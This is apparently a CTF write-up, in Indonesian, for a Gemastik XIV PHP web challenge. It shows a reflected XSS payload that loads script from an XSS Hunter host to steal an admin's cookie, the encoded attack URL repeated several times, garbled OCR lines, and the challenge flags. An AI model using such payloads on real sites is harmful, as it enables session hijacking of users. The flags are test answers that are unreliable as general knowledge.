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Web
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Soal yang diberikan berupa soal challenge yang berisi script php dan
report, Pertama saya coba memahami terlebih dahulu script yang
diberikan. Terdapat variable superglobal $_GET dan fungsi !isset. Lalu
di bagian report terdapat hint berupa “Steal admin's cookie if you
can” artinya target kita adalah cookie admin. Untuk mencuri cookie
admin saya menggunakan xsshunter dengan payload sebagai berikut:

"><script src=https://arrayavm1902.xss.ht></script>

Lalu saya masukan ke url challenge dengan inputan name menjadi seperti
ini
http://54.169.77.27:10011/?name=%22%3E%3Cscript%20src=https://arrayavm
1902.xss.ht%3E%3C/script%3E

Wirndng Cannot madify header mformanon - beaders already semm by (outpur stamed ar var woew Bl index php 1) aa var/veww heml index.phip on hae 1§
Hesult for "> s 0

Lalu mendapatkan hasil seperti diatas dengan hasil 0 dikarenakan saya
hanya melakukan input name. Pada awalnya saya mengira saya gagal,
namun ternyata terdapat hasil report di xsshunter namun belum
mendapatkan cookie admin. Untuk mendapatkan cookie admin input url
challenge ke report untuk mendapatkan hasil cookie admin dan cek
kembali hasil di xsshunter. Berikut hasil cookie yang didapatkan:

stikl4{php output buffering_13niva@@nhfwofib}

Flag = gemastik14{php_output_buffering_13niva@9nhfwofib}


https://xsshunter.com/app
http://54.169.77.27:10011/?name=%22%3E%3Cscript%20src=https://arrayavm1902.xss.ht%3E%3C/script%3E
http://54.169.77.27:10011/?name=%22%3E%3Cscript%20src=https://arrayavm1902.xss.ht%3E%3C/script%3E
http://54.169.77.27:10011/?name=%22%3E%3Cscript%20src=https://arrayavm1902.xss.ht%3E%3C/script%3E
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Sanity Check (10 pts)

Flag : gemastik14{___Welcome_to_Gemastik_XIV___}
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